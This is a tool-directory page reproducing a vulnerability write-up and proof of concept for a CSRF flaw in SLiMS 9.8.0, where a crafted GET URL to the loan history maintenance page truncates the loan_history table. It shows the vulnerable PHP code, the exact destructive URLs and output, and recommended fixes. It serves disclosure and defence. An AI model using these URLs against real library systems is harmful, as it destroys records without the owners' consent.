Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-107084 — Proof-of-concept and technical write-up for CVE-2026-107084, a CSRF flaw in SLiMS 9.8.0 loan history maintenance that lets an attacker trigger unauthenticated TRUNCATE data loss. | Kitploit
Tools/GitHubGitHub/primandito/cve-2026-107084
Vulnerability AnalysisWeb Application ExploitationWeb SecurityPapers & ResearchLearning & Education
GitHubprimandito/cve-2026-107084

CVE-2026-107084

Proof-of-concept and technical write-up for CVE-2026-107084, a CSRF flaw in SLiMS 9.8.0 loan history maintenance that lets an attacker trigger unauthenticated TRUNCATE data loss.

View Repository
24 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    894
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    821
  • 3

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    649
  • 4

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    450
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    437
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    389

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-107084 — Cross-Site Request Forgery (CSRF) in SLiMS 9.8.0 Loan History Maintenance

CVE Version Status CVE State

Summary

SLiMS 9.8.0 allows Cross-Site Request Forgery (CSRF) against admin/modules/circulation/loan_history_maintenance.php. The action=run GET parameter performs privileged, destructive operations — specifically the TRUNCATE of the loan_history table (via task=empty or task=rebuild_all). This action is executed with no CSRF token and no POST confirmation.

Because SLiMS does not set the SameSite attribute on the admin session cookie, a top-level GET navigation (e.g., an admin clicking a crafted link or being redirected to the URL) still carries the session cookie. A cross-site `` fetch would be blocked from carrying the cookie by SameSite=Lax, but the navigation vector still applies.

Impact: An authenticated admin can be tricked into triggering a destructive GET request, resulting in Data Loss (complete truncation of loan history records).

FieldValue
CVE IDCVE-2026-107084
Official Recordcve.org/CVERecord?id=CVE-2026-107084
Affected VersionSLiMS 9.8.0 (master)
Vulnerability TypeCWE-352: Cross-Site Request Forgery (CSRF)
Attack VectorNetwork
Privileges RequiredNone (Requires user interaction by an authenticated admin)
Affected Componentadmin/modules/circulation/loan_history_maintenance.php (action=run, tasks empty, rebuild_all)
Original Reportslims/slims9_bulian#394

Affected Files

FileVulnerable Lines
admin/modules/circulation/loan_history_maintenance.php59–190

Vulnerable Code

admin/modules/circulation/loan_history_maintenance.php

Lines 59–190 — The main action handler accepts GET requests and performs destructive actions without any CSRF validation:

vulnerable get action

// lines 59-64
if (isset($_GET['action']) && $_GET['action'] === 'run') {
    @set_time_limit(0);
    @ob_implicit_flush(true);

    $task = $_GET['task'] ?? '';
    ...

The task=empty and task=rebuild_all directly execute a TRUNCATE query:

vulnerable truncate empty

vulnerable truncate rebuild

// case 'empty' and 'rebuild_all'
$ok = $dbs->query('TRUNCATE TABLE loan_history');

Contributing factor: Grepping for csrf or token in admin/modules/circulation/loan_history_maintenance.php returns no results. No CSRF token validation exists anywhere in the file.


Proof of Concept

Prerequisites

  • SLiMS 9.8.0 running locally (e.g. via the repository's own docker-compose.yml: php:8.3.13-apache + mariadb:lts)
  • Logged in as any valid admin account (any role with write access)

Step 1 — Inspect Current Loan History Count

Open the following URL in your browser to check the current stats:

http://localhost:8881/admin/modules/circulation/loan_history_maintenance.php?action=run&task=stats

Output:

Total loan: 0
Total loan_history: 5
Missing loan_history rows: 0

stats before

Step 2 — Trigger the Destructive GET (No CSRF Token, No Confirmation)

Open the following URL (this simulates an attacker tricking an admin into clicking a link):

http://localhost:8881/admin/modules/circulation/loan_history_maintenance.php?action=run&task=empty

Output:

Truncating loan_history ...
OK

truncate execution

Step 3 — Verify Data Loss

Open the stats URL again. The loan_history count is now 0. The test rows (e.g., loan_id 910001-910005) have been permanently deleted.

Output:

Total loan: 0
Total loan_history: 0
Missing loan_history rows: 0

stats after


Environment

system environment

ComponentVersion
SLiMS9.8.0 (master)
Operating SystemUbuntu 24.04
Web ServerApache 2.4.62 (Debian)
PHP8.3.13
MariaDB12.3.3-MariaDB-ubu2404
MySQL Clientmysqld 8.3.13
BrowserFirefox 156

Verified using the repository's own docker-compose.yml.


Recommended Fix

1. Require POST and CSRF Token (recommended)

TRUNCATE and rebuild_all tasks must require a POST request with a valid CSRF token (or explicit POST confirmation). Never run destructive actions from a bare GET.

if ($_SERVER['REQUEST_METHOD'] !== 'POST' || !isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    http_response_code(403);
    die('Invalid request or missing CSRF token.');
}

2. Set SameSite on Session Cookies

As a defense-in-depth measure, explicitly set SameSite=Lax or SameSite=Strict on the admin session cookie in php.ini or via session_set_cookie_params():

session_set_cookie_params([
    'lifetime' => 0,
    'path' => '/',
    'domain' => '',
    'secure' => true,
    'httponly' => true,
    'samesite' => 'Strict'
]);

Timeline

DateEvent
2026-10-05Issue #394 reported to SLiMS repository
2026-10-15Public write-up published (this repository)
2026-10-20Official CVE record published on cve.org
—Awaiting maintainer response on fix

References

  • Official CVE Record — CVE-2026-107084
  • Original report — slims/slims9_bulian#394
  • Related report — slims/slims9_bulian#391 (CVE-2026-107081)
  • Related report — slims/slims9_bulian#392 (CVE-2026-107082)
  • Related report — slims/slims9_bulian#393 (CVE-2026-107083)
  • CWE-352: Cross-Site Request Forgery (CSRF)
  • OWASP: Cross Site Request Forgery

Disclaimer

Download Tool